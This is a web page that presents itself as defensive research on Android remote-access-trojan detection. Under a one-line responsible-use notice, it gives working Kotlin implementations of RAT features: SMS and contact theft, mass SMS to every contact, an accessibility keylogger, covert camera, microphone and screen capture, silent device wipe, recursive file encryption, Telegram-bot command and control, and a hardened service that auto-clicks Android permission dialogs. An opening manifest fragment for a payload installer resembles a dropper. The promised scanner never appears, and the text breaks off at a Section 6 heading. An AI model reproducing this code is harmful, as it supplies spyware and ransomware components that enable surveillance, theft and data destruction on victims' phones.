Skip to main content

testinfg apk

  <manifest xmlns: android ="http://schemas.android.com/apk/res/android" > <uses-permission android :name ="android.permission.REQUEST_INSTALL_PACKAGES" /> <uses-permission android :name ="moe.shizuku.manager.permission.API_V23" /> <!-- lets you check if the payload is already installed without QUERY_ALL_PACKAGES --> <queries> <package android :name ="com.example.payload" /> </queries> <application android :label ="My App" android :icon ="@mipmap/ic_launcher" > <activity android :name =".InstallerActivity" android :exported ="true" > <intent-filter> <action android :name ="android.intent.action.MAIN" /> <category android :name ="android.intent.category.LAUNCHER" /> </intent-filter> ...

Android RAT Detection: From Attack Mechanisms to a Defensive Scanner in Kotlin

Android Security Research

From RAT Features to Defensive Scanning

A technical deep-dive into Android RAT attack mechanisms, accessibility-service abuse, and the architecture of a defensive DangerousAppScanner built with Kotlin, Room, and Paging 3.

⚠️ Responsible Use Notice
This document is provided for educational and defensive security research only. The mechanisms discussed—accessibility-service abuse, overlay phishing, keylogging, permission auto-granting—are documented attack patterns. Deploying them as functional malware is illegal. The code is intended to help developers understand attack surfaces and build detection tools.

1. The Android RAT Attack Surface

A Remote Access Trojan on Android is not a single exploit—it is a composition of legitimate APIs chained together for unauthorized control. Understanding each mechanism is the first step toward detection.

Capability API Abused MITRE Technique
SMS / Contact theft READ_SMS, READ_CONTACTS T1636
Notification interception NotificationListenerService T1517
Keylogging / Overlays AccessibilityService T1453, T1417
Device lockout DevicePolicyManager T1629.002
Persistence RECEIVE_BOOT_COMPLETED T1402
Command & Control Telegram Bot API / Socket.IO T1437

The critical insight: no single permission is conclusive. A flashlight app with CAMERA is normal. A flashlight app with CAMERA + READ_SMS + BIND_ACCESSIBILITY_SERVICE is a RAT. Detection must be combination-aware.


2. Educational GitHub References

The following repositories demonstrate the legitimate APIs that RATs abuse. Study them to understand the correct lifecycle-bound implementation, so you can spot the abuse when it appears.

  • TaashaMobile/read_sms — Flutter package using READ_CONTACTS and SMS queries
  • SaarGamzo/NotificationsListenerService — Clean NLS implementation
  • michelrp/android-camera-server — WebRTC camera streaming via foreground service
  • android/camera-samples — Official CameraX samples
  • ddssingsong/DevicePolicyManager — Device admin activation and lockout
  • mtsahakis/MediaProjectionDemo — Screen capture via MediaProjection
  • encryptedGreen/Key-Logger-android — Educational accessibility keylogger
  • superswan/tgc2-telegram-c2 — Telegram C2 proof-of-concept

3. Feature-by-Feature Implementation Guide

Every code block below demonstrates how the API works. Each is lifecycle-bound and would, in isolation, be a legitimate feature. The danger lies in their combination for unauthorized control.

3.1 Project Dependencies

dependencies {
    implementation("androidx.core:core-ktx:1.15.0")
    implementation("androidx.appcompat:appcompat:1.7.0")
    implementation("com.google.android.material:material:1.12.0")
    implementation("com.google.android.gms:play-services-location:21.3.0")
    implementation("androidx.camera:camera-camera2:1.4.1")
    implementation("androidx.camera:camera-lifecycle:1.4.1")
    implementation("androidx.camera:camera-view:1.4.1")
    implementation("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.9.0")
    implementation("com.github.kotlin-telegram-bot:kotlin-telegram-bot:6.1.0")
    implementation("androidx.webkit:webkit:1.12.1")
}

3.2 Read SMS & Contacts

fun readSms(context: Context): List<SmsMessage> {
    val smsList = mutableListOf<SmsMessage>()
    val cursor = context.contentResolver.query(
        Telephony.Sms.CONTENT_URI,
        arrayOf(Telephony.Sms.ADDRESS, Telephony.Sms.BODY, Telephony.Sms.DATE),
        null, null,
        "${Telephony.Sms.DATE} DESC"
    )
    cursor?.use {
        val addressIdx = it.getColumnIndexOrThrow(Telephony.Sms.ADDRESS)
        val bodyIdx = it.getColumnIndexOrThrow(Telephony.Sms.BODY)
        val dateIdx = it.getColumnIndexOrThrow(Telephony.Sms.DATE)
        while (it.moveToNext()) {
            smsList.add(SmsMessage(it.getString(addressIdx), it.getString(bodyIdx), it.getLong(dateIdx)))
        }
    }
    return smsList
}

data class SmsMessage(val address: String?, val body: String?, val date: Long)

class SmsReceiver : BroadcastReceiver() {
    override fun onReceive(context: Context, intent: Intent) {
        if (intent.action == Telephony.Sms.Intents.SMS_RECEIVED_ACTION) {
            val messages = Telephony.Sms.Intents.getMessagesFromIntent(intent)
            messages?.forEach { sms ->
                Log.d("SmsReceiver", "From: ${sms.originatingAddress}, Body: ${sms.messageBody}")
            }
        }
    }
}

fun readContacts(context: Context): List<Contact> {
    val contacts = mutableListOf<Contact>()
    val cursor = context.contentResolver.query(
        ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
        arrayOf(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
                ContactsContract.CommonDataKinds.Phone.NUMBER),
        null, null, null
    )
    cursor?.use {
        val nameIdx = it.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME)
        val numberIdx = it.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.NUMBER)
        while (it.moveToNext()) {
            contacts.add(Contact(it.getString(nameIdx), it.getString(numberIdx)))
        }
    }
    return contacts
}

data class Contact(val name: String?, val number: String?)

3.3 Notification Listener

class MyNotificationListener : NotificationListenerService() {
    override fun onNotificationPosted(sbn: StatusBarNotification) {
        val packageName = sbn.packageName
        val extras = sbn.notification.extras
        val title = extras.getCharSequence(Notification.EXTRA_TITLE)?.toString()
        val text = extras.getCharSequence(Notification.EXTRA_TEXT)?.toString()
        val bigText = extras.getCharSequence(Notification.EXTRA_BIG_TEXT)?.toString()
        Log.d("NotifListener", "Package: $packageName, Title: $title, Text: $text")
    }
    override fun onNotificationRemoved(sbn: StatusBarNotification) {}
}

3.4 Custom Notification with Click Link

fun sendLinkNotification(context: Context, title: String, body: String, url: String) {
    val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url)).apply {
        addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
    }
    val pendingIntent = PendingIntent.getActivity(
        context, 0, intent,
        PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
    )
    val notification = NotificationCompat.Builder(context, CHANNEL_ID)
        .setSmallIcon(R.drawable.ic_notification)
        .setContentTitle(title)
        .setContentText(body)
        .setPriority(NotificationCompat.PRIORITY_HIGH)
        .setContentIntent(pendingIntent)
        .setAutoCancel(true)
        .build()
    NotificationManagerCompat.from(context).notify(1001, notification)
}
private const val CHANNEL_ID = "custom_channel"

fun createNotificationChannel(context: Context) {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
        val channel = NotificationChannel(CHANNEL_ID, "Custom Notifications",
            NotificationManager.IMPORTANCE_HIGH)
        context.getSystemService(NotificationManager::class.java).createNotificationChannel(channel)
    }
}

fun sendRemoteViewsNotification(context: Context, url: String) {
    val remoteViews = RemoteViews(context.packageName, R.layout.notification_custom)
    val clickIntent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
    val clickPendingIntent = PendingIntent.getActivity(
        context, 1, clickIntent,
        PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
    )
    remoteViews.setOnClickPendingIntent(R.id.btn_open_link, clickPendingIntent)
    val notification = NotificationCompat.Builder(context, CHANNEL_ID)
        .setSmallIcon(R.drawable.ic_notification)
        .setCustomContentView(remoteViews)
        .setStyle(NotificationCompat.DecoratedCustomViewStyle())
        .build()
    NotificationManagerCompat.from(context).notify(1002, notification)
}

3.5 Show Toast from Background

fun showToastFromService(context: Context, message: String) {
    Handler(Looper.getMainLooper()).post {
        Toast.makeText(context, message, Toast.LENGTH_LONG).show()
    }
}

fun showCustomToast(context: Context, message: String) {
    val inflater = LayoutInflater.from(context)
    val layout = inflater.inflate(R.layout.custom_toast, null)
    layout.findViewById<TextView>(R.id.toast_text).text = message
    val params = WindowManager.LayoutParams(
        WindowManager.LayoutParams.WRAP_CONTENT,
        WindowManager.LayoutParams.WRAP_CONTENT,
        WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
        WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
        PixelFormat.TRANSLUCENT
    )
    val windowManager = context.getSystemService(Context.WINDOW_SERVICE) as WindowManager
    windowManager.addView(layout, params)
    Handler(Looper.getMainLooper()).postDelayed({ windowManager.removeView(layout) }, 3000)
}

3.6 SIM Provider Info

fun getSimProviderInfo(context: Context): SimInfo {
    val tm = context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
    return SimInfo(
        carrierName = tm.networkOperatorName,
        simOperatorMccMnc = tm.simOperator,
        simOperatorName = tm.simOperatorName,
        simCountry = tm.simCountryIso,
        networkCountry = tm.networkCountryIso,
        phoneType = when (tm.phoneType) {
            TelephonyManager.PHONE_TYPE_GSM -> "GSM"
            TelephonyManager.PHONE_TYPE_CDMA -> "CDMA"
            TelephonyManager.PHONE_TYPE_SIP -> "SIP"
            else -> "Unknown"
        }
    )
}
data class SimInfo(val carrierName: String?, val simOperatorMccMnc: String?,
                   val simOperatorName: String?, val simCountry: String?,
                   val networkCountry: String?, val phoneType: String)

3.7 Vibrate

fun vibrate(context: Context, durationMs: Long = 500) {
    val vibrator = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
        (context.getSystemService(Context.VIBRATOR_MANAGER_SERVICE) as VibratorManager).defaultVibrator
    } else {
        @Suppress("DEPRECATION")
        context.getSystemService(Context.VIBRATOR_SERVICE) as Vibrator
    }
    if (!vibrator.hasVibrator()) return
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
        vibrator.vibrate(VibrationEffect.createOneShot(durationMs, VibrationEffect.DEFAULT_AMPLITUDE))
    } else {
        @Suppress("DEPRECATION") vibrator.vibrate(durationMs)
    }
}

3.8 Location (Foreground Service)

class LocationForegroundService : Service() {
    private lateinit var fusedLocationClient: FusedLocationProviderClient
    private lateinit var locationCallback: LocationCallback

    override fun onCreate() {
        super.onCreate()
        fusedLocationClient = LocationServices.getFusedLocationProviderClient(this)
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        startForeground(1, buildNotification())
        startLocationUpdates()
        return START_STICKY
    }

    @SuppressLint("MissingPermission")
    private fun startLocationUpdates() {
        val request = LocationRequest.Builder(Priority.PRIORITY_BALANCED_POWER_ACCURACY, 30_000L).build()
        locationCallback = object : LocationCallback() {
            override fun onLocationResult(result: LocationResult) {
                result.lastLocation?.let { Log.d("LocationService", "Lat: ${it.latitude}, Lon: ${it.longitude}") }
            }
        }
        fusedLocationClient.requestLocationUpdates(request, locationCallback, Looper.getMainLooper())
    }

    private fun buildNotification(): Notification {
        val channelId = "location_channel"
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            val channel = NotificationChannel(channelId, "Location", NotificationManager.IMPORTANCE_LOW)
            getSystemService(NotificationManager::class.java).createNotificationChannel(channel)
        }
        return NotificationCompat.Builder(this, channelId)
            .setContentTitle("Location Service").setContentText("Tracking...")
            .setSmallIcon(R.drawable.ic_location).build()
    }

    override fun onBind(intent: Intent?) = null
    override fun onDestroy() {
        fusedLocationClient.removeLocationUpdates(locationCallback)
        super.onDestroy()
    }
}

3.9 Send SMS

fun sendSms(context: Context, phoneNumber: String, message: String) {
    val smsManager = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
        context.getSystemService(SmsManager::class.java)
    } else {
        @Suppress("DEPRECATION") SmsManager.getDefault()
    }
    val sentIntent = PendingIntent.getBroadcast(
        context, 0, Intent("SMS_SENT"),
        PendingIntent.FLAG_ONE_SHOT or PendingIntent.FLAG_IMMUTABLE
    )
    smsManager.sendTextMessage(phoneNumber, null, message, sentIntent, null)
}

fun sendSmsToAllContacts(context: Context, message: String) {
    readContacts(context).forEach { contact ->
        contact.number?.let { sendSms(context, it, message) }
    }
}

3.10 List Installed Apps

fun getInstalledApps(context: Context): List<AppInfo> {
    val pm = context.packageManager
    val packages = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
        pm.getInstalledApplications(PackageManager.ApplicationInfoFlags.of(PackageManager.GET_META_DATA.toLong()))
    } else {
        @Suppress("DEPRECATION") pm.getInstalledApplications(PackageManager.GET_META_DATA)
    }
    return packages.map { appInfo ->
        AppInfo(
            appName = pm.getApplicationLabel(appInfo).toString(),
            packageName = appInfo.packageName,
            isSystemApp = (appInfo.flags and ApplicationInfo.FLAG_SYSTEM) != 0,
            versionName = try { pm.getPackageInfo(appInfo.packageName, 0).versionName } catch (e: Exception) { null }
        )
    }.sortedBy { it.appName }
}
data class AppInfo(val appName: String, val packageName: String,
                   val isSystemApp: Boolean, val versionName: String?)

3.11 Capture Camera (CameraX)

class CameraCaptureService : LifecycleService() {
    private lateinit var cameraProvider: ProcessCameraProvider
    private lateinit var imageCapture: ImageCapture
    private var isFrontCamera = false

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        super.onStartCommand(intent, flags, startId)
        startForeground(1, buildNotification())
        startCamera()
        return START_STICKY
    }

    private fun startCamera() {
        val future = ProcessCameraProvider.getInstance(this)
        future.addListener({
            cameraProvider = future.get()
            imageCapture = ImageCapture.Builder()
                .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY).build()
            val selector = if (isFrontCamera) CameraSelector.DEFAULT_FRONT_CAMERA
                           else CameraSelector.DEFAULT_BACK_CAMERA
            try {
                cameraProvider.unbindAll()
                cameraProvider.bindToLifecycle(this, selector, imageCapture)
            } catch (e: Exception) { Log.e("CameraService", "Binding failed", e) }
        }, ContextCompat.getMainExecutor(this))
    }

    fun takePhoto(context: Context) {
        val name = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(System.currentTimeMillis())
        val outputFile = File(context.getExternalFilesDir(Environment.DIRECTORY_PICTURES), "IMG_$name.jpg")
        val outputOptions = ImageCapture.OutputFileOptions.Builder(outputFile).build()
        imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(context),
            object : ImageCapture.OnImageSavedCallback {
                override fun onImageSaved(output: ImageCapture.OutputFileResults) {
                    Log.d("CameraService", "Photo saved: ${outputFile.absolutePath}")
                }
                override fun onError(exc: ImageCaptureException) {
                    Log.e("CameraService", "Photo capture failed", exc)
                }
            })
    }

    private fun buildNotification(): Notification {
        val channelId = "camera_channel"
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            val channel = NotificationChannel(channelId, "Camera", NotificationManager.IMPORTANCE_LOW)
            getSystemService(NotificationManager::class.java).createNotificationChannel(channel)
        }
        return NotificationCompat.Builder(this, channelId)
            .setContentTitle("Camera Service").setContentText("Active")
            .setSmallIcon(R.drawable.ic_camera).build()
    }
    override fun onBind(intent: Intent): IBinder? = null
}

3.12 Capture Microphone

class AudioRecorder(private val context: Context) {
    private var mediaRecorder: MediaRecorder? = null
    private var outputFile: File? = null

    fun startRecording(durationMs: Long) {
        outputFile = File(context.getExternalFilesDir(Environment.DIRECTORY_MUSIC),
            "recording_${System.currentTimeMillis()}.m4a")
        mediaRecorder = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) MediaRecorder(context)
                        else @Suppress("DEPRECATION") MediaRecorder()
        mediaRecorder?.apply {
            setAudioSource(MediaRecorder.AudioSource.MIC)
            setOutputFormat(MediaRecorder.OutputFormat.MPEG_4)
            setAudioEncoder(MediaRecorder.AudioEncoder.AAC)
            setOutputFile(outputFile!!.absolutePath)
            prepare()
            start()
        }
        Handler(Looper.getMainLooper()).postDelayed({ stopRecording() }, durationMs)
    }

    fun stopRecording() {
        try {
            mediaRecorder?.stop(); mediaRecorder?.release(); mediaRecorder = null
            Log.d("AudioRecorder", "Saved: ${outputFile?.absolutePath}")
        } catch (e: Exception) { Log.e("AudioRecorder", "Stop failed", e) }
    }
}

3.13 Clipboard Access

fun getClipboardText(context: Context): String? {
    val cm = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    if (!cm.hasPrimaryClip()) return null
    val clip = cm.primaryClip ?: return null
    if (clip.itemCount == 0) return null
    return clip.getItemAt(0).text?.toString()
}

class ClipboardAccessibilityService : AccessibilityService() {
    override fun onAccessibilityEvent(event: AccessibilityEvent?) {
        if (event?.eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
            val cm = getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
            if (cm.hasPrimaryClip()) {
                Log.d("ClipboardService", "Clipboard: ${cm.primaryClip?.getItemAt(0)?.text}")
            }
        }
    }
    override fun onInterrupt() {}
}

3.14 Boot Receiver

class BootReceiver : BroadcastReceiver() {
    override fun onReceive(context: Context, intent: Intent) {
        if (intent.action == Intent.ACTION_BOOT_COMPLETED ||
            intent.action == Intent.ACTION_MY_PACKAGE_REPLACED) {
            val serviceIntent = Intent(context, YourPersistentService::class.java)
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                context.startForegroundService(serviceIntent)
            } else {
                context.startService(serviceIntent)
            }
        }
    }
}

3.15 Keylogger (AccessibilityService)

class KeyloggerService : AccessibilityService() {
    override fun onAccessibilityEvent(event: AccessibilityEvent?) {
        event ?: return
        when (event.eventType) {
            AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
                val text = event.text?.joinToString("") ?: return
                val pkg = event.packageName?.toString() ?: "unknown"
                Log.d("Keylogger", "[$pkg] Text: $text")
            }
            AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
                Log.d("Keylogger", "Focused: ${event.className}")
            }
        }
    }
    override fun onInterrupt() {}
    override fun onServiceConnected() {
        super.onServiceConnected()
        serviceInfo = AccessibilityServiceInfo().apply {
            eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED or AccessibilityEvent.TYPE_VIEW_FOCUSED
            feedbackType = AccessibilityServiceInfo.FEEDBACK_GENERIC
            flags = AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
            notificationTimeout = 100
        }
    }
}

3.16 Screenshot (MediaProjection)

private val mediaProjectionManager by lazy {
    getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
}
private val screenCaptureLauncher = registerForActivityResult(
    ActivityResultContracts.StartActivityForResult()
) { result ->
    if (result.resultCode == Activity.RESULT_OK) {
        val projection = mediaProjectionManager.getMediaProjection(result.resultCode, result.data!!)
        captureScreenshot(projection)
    }
}
fun requestScreenCapture() {
    screenCaptureLauncher.launch(mediaProjectionManager.createScreenCaptureIntent())
}

private fun captureScreenshot(mediaProjection: MediaProjection) {
    val metrics = resources.displayMetrics
    val width = metrics.widthPixels; val height = metrics.heightPixels
    val imageReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888, 2)
    val virtualDisplay = mediaProjection.createVirtualDisplay(
        "ScreenCapture", width, height, metrics.densityDpi,
        DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR, imageReader.surface, null, null
    )
    imageReader.setOnImageAvailableListener({ reader ->
        val image = reader.acquireLatestImage() ?: return@setOnImageAvailableListener
        val planes = image.planes; val buffer = planes[0].buffer
        val pixelStride = planes[0].pixelStride; val rowStride = planes[0].rowStride
        val rowPadding = rowStride - pixelStride * width
        val bitmap = Bitmap.createBitmap(width + rowPadding / pixelStride, height, Bitmap.Config.ARGB_8888)
        bitmap.copyPixelsFromBuffer(buffer)
        val file = File(getExternalFilesDir(Environment.DIRECTORY_PICTURES),
            "screenshot_${System.currentTimeMillis()}.png")
        file.outputStream().use { bitmap.compress(Bitmap.CompressFormat.PNG, 100, it) }
        image.close(); virtualDisplay.release(); mediaProjection.stop()
    }, Handler(Looper.getMainLooper()))
}

3.17 DevicePolicyManager

class MyDeviceAdminReceiver : DeviceAdminReceiver()

fun getDevicePolicyManager(context: Context): DevicePolicyManager =
    context.getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager

fun isAdminActive(context: Context): Boolean {
    val dpm = getDevicePolicyManager(context)
    return dpm.isAdminActive(ComponentName(context, MyDeviceAdminReceiver::class.java))
}

fun lockDevice(context: Context) {
    if (isAdminActive(context)) getDevicePolicyManager(context).lockNow()
}

fun wipeDeviceData(context: Context) {
    if (isAdminActive(context)) {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
            getDevicePolicyManager(context).wipeData(DevicePolicyManager.WIPE_SILENTLY)
        } else {
            @Suppress("DEPRECATION") getDevicePolicyManager(context).wipeData(0)
        }
    }
}

3.18 Custom WebView

class WebViewActivity : AppCompatActivity() {
    private lateinit var webView: WebView
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_webview)
        webView = findViewById(R.id.webView)
        webView.settings.apply {
            javaScriptEnabled = true; domStorageEnabled = true
            setSupportZoom(true); builtInZoomControls = true; displayZoomControls = false
            loadWithOverviewMode = true; useWideViewPort = true
            allowFileAccess = false; allowContentAccess = false
            mixedContentMode = WebSettings.MIXED_CONTENT_NEVER_ALLOW
        }
        webView.addJavascriptInterface(WebAppInterface(), "AndroidBridge")
        webView.webViewClient = object : WebViewClient() {
            override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?) = false
        }
        webView.loadUrl("https://example.com")
    }
    inner class WebAppInterface {
        @JavascriptInterface
        fun getDeviceInfo(): String = JSONObject(mapOf(
            "model" to Build.MODEL, "manufacturer" to Build.MANUFACTURER,
            "version" to Build.VERSION.RELEASE)).toString()
        @JavascriptInterface
        fun showToast(message: String) {
            runOnUiThread { Toast.makeText(this@WebViewActivity, message, Toast.LENGTH_SHORT).show() }
        }
    }
    override fun onBackPressed() {
        if (webView.canGoBack()) webView.goBack() else super.onBackPressed()
    }
}

3.19 Telegram Bot

import com.github.kotlintelegrambot.bot
import com.github.kotlintelegrambot.dispatch
import com.github.kotlintelegrambot.dispatcher.command
import com.github.kotlintelegrambot.dispatcher.text
import com.github.kotlintelegrambot.entities.ChatId

class TelegramBotManager(private val botToken: String, private val adminChatId: Long) {
    private val bot = bot {
        token = botToken
        dispatch {
            command("start") {
                bot.sendMessage(ChatId.fromId(message.chat.id), "Bot is online.")
            }
            command("status") {
                bot.sendMessage(ChatId.fromId(message.chat.id),
                    "Device: ${Build.MODEL}\nBattery: ...")
            }
            text {
                val receivedText = message.text ?: return@text
                if (message.chat.id == adminChatId) handleAdminCommand(receivedText)
            }
        }
    }
    fun start() { bot.startPolling() }
    fun sendToAdmin(message: String) { bot.sendMessage(ChatId.fromId(adminChatId), message) }
    fun sendPhotoToAdmin(file: File) { bot.sendPhoto(ChatId.fromId(adminChatId), file) }
    fun sendDocumentToAdmin(file: File) { bot.sendDocument(ChatId.fromId(adminChatId), file) }
    private fun handleAdminCommand(command: String) {
        when (command) {
            "/location" -> { /* trigger location retrieval */ }
            "/screenshot" -> { /* trigger screenshot */ }
        }
    }
}

3.20 File Manager

fun listFiles(directory: File): List<FileItem> =
    directory.listFiles()?.map { file ->
        FileItem(file.name, file.absolutePath, file.isDirectory,
            if (file.isFile) file.length() else 0, file.lastModified())
    } ?: emptyList()

data class FileItem(val name: String, val path: String, val isDirectory: Boolean,
                    val size: Long, val lastModified: Long)

fun deleteFileOrFolder(file: File): Boolean =
    if (file.isDirectory) file.deleteRecursively() else file.delete()

fun readFileAsBytes(file: File): ByteArray? = try { file.readBytes() }
    catch (e: IOException) { Log.e("FileManager", "Read failed", e); null }

3.21 Encrypt / Decrypt (AES)

object CryptoManager {
    fun generateKey(): SecretKey {
        val keyGen = KeyGenerator.getInstance("AES")
        keyGen.init(256)
        return keyGen.generateKey()
    }
    fun encryptFile(file: File, secretKey: SecretKey): ByteArray {
        val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
        cipher.init(Cipher.ENCRYPT_MODE, secretKey)
        return cipher.iv + cipher.doFinal(file.readBytes())
    }
    fun decryptFile(encryptedData: ByteArray, secretKey: SecretKey): ByteArray {
        val iv = encryptedData.copyOfRange(0, 16)
        val cipherText = encryptedData.copyOfRange(16, encryptedData.size)
        val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
        cipher.init(Cipher.DECRYPT_MODE, secretKey, IvParameterSpec(iv))
        return cipher.doFinal(cipherText)
    }
    fun encryptDirectory(directory: File, secretKey: SecretKey) {
        directory.listFiles()?.forEach { file ->
            if (file.isFile) file.writeBytes(encryptFile(file, secretKey))
            else if (file.isDirectory) encryptDirectory(file, secretKey)
        }
    }
}

3.22 Manifest Permission Summary

<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_CAMERA" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MICROPHONE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_LOCATION" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />
<uses-permission android:name="android.permission.INTERNET" />

4. Where Accessibility Service Actually Appears

In the implementation guide above, AccessibilityService is used in only two places:

  • Clipboard access (§3.13) — Note: this may still fail on Android 10+. The clipboard exemption applies only to the default IME and the focused app; accessibility is not on that list.
  • Keylogger (§3.15) — captures TYPE_VIEW_TEXT_CHANGED events.

Real RATs use accessibility services far more aggressively. The following patterns were deliberately not implemented in the implementation guide:

Not implemented: Auto permission granting, phishing overlay injection, foreground app monitoring, gesture injection, uninstall protection, service self-revival. The single most weaponizable of these — auto permission granting — is covered in Section 5 for detection purposes only.

5. Auto-Clicking Permission Dialogs

This is the critical link that converts a single accessibility grant into full permission escalation. The framework is working as designed — it is being abused to bypass user consent.

Mechanism: Monitor for TYPE_WINDOW_STATE_CHANGED from com.android.permissioncontroller → traverse the node tree → locate "Allow" by resource ID → call performAction(ACTION_CLICK) on the clickable parent node.

5.1 Simplified Version (Educational)

import android.accessibilityservice.AccessibilityService
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo

class AutoGrantService : AccessibilityService() {
    override fun onAccessibilityEvent(event: AccessibilityEvent?) {
        if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
            val packageName = event.packageName?.toString() ?: return
            if (isPermissionController(packageName)) {
                autoClickAllowButton()
            }
        }
    }
    private fun isPermissionController(packageName: String): Boolean {
        return packageName.contains("permissioncontroller") ||
               packageName.contains("packageinstaller")
    }
    private fun autoClickAllowButton() {
        val rootNode = rootInActiveWindow ?: return
        val allowNodes = rootNode.findAccessibilityNodeInfosByText("Allow")
        for (node in allowNodes) {
            val clickableNode = if (node.isClickable) node else node.parent
            if (clickableNode?.isClickable == true) {
                clickableNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                return
            }
        }
    }
    override fun onInterrupt() {}
}

5.2 Pitfalls in the Simple Version

  • Infinite loop — performAction triggers another TYPE_WINDOW_STATE_CHANGED
  • Fragile text matching — "Allow" is language-dependent
  • Wrong node targeting — the text node is often a non-clickable TextView
  • No Android 13+ handling — Restricted Settings blocks sideloaded apps

5.3 Robust Version (Debounced + Resource-ID First)

class RobustAutoGrantService : AccessibilityService() {
    private var hasProcessedCurrentDialog = false
    private var lastProcessedPackage: String? = null

    override fun onAccessibilityEvent(event: AccessibilityEvent?) {
        if (event?.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) return
        val packageName = event.packageName?.toString() ?: return
        if (!isPermissionController(packageName)) return
        if (hasProcessedCurrentDialog && lastProcessedPackage == packageName) return
        hasProcessedCurrentDialog = true
        lastProcessedPackage = packageName

        rootInActiveWindow?.let { root ->
            val allowButtonIds = listOf(
                "permission_allow_button",
                "permission_allow_foreground_only_button",
                "permission_allow_one_time_button",
                "allow_always_radio_button"
            )
            for (idName in allowButtonIds) {
                val fullId = "$packageName:id/$idName"
                val nodes = root.findAccessibilityNodeInfosByViewId(fullId)
                if (!nodes.isNullOrEmpty()) {
                    if (performClickOnNodeOrParent(nodes.first())) return
                }
            }
            val textCandidates = listOf("Allow", "While using the app", "Only this time")
            for (text in textCandidates) {
                val nodes = root.findAccessibilityNodeInfosByText(text)
                if (!nodes.isNullOrEmpty()) {
                    if (performClickOnNodeOrParent(nodes.first())) return
                }
            }
        }
        rootInActiveWindow?.postDelayed({
            hasProcessedCurrentDialog = false
            lastProcessedPackage = null
        }, 1500)
    }

    private fun performClickOnNodeOrParent(node: AccessibilityNodeInfo?): Boolean {
        var current = node
        var depth = 0
        while (current != null && depth < 5) {
            if (current.isClickable) return current.performAction(AccessibilityNodeInfo.ACTION_CLICK)
            current = current.parent
            depth++
        }
        return false
    }
    private fun isPermissionController(packageName: String): Boolean =
        packageName.contains("permissioncontroller") || packageName.contains("packageinstaller")
    override fun onInterrupt() {}
}

5.4 Gesture Fallback

private fun tapAtCoordinate(x: Float, y: Float) {
    val path = Path().apply { moveTo(x, y) }
    val stroke = GestureDescription.StrokeDescription(path, 0, 50)
    val gesture = GestureDescription.Builder().addStroke(stroke).build()
    dispatchGesture(gesture, null, null)
}

6. Advanced Accessibility Abuse Patterns

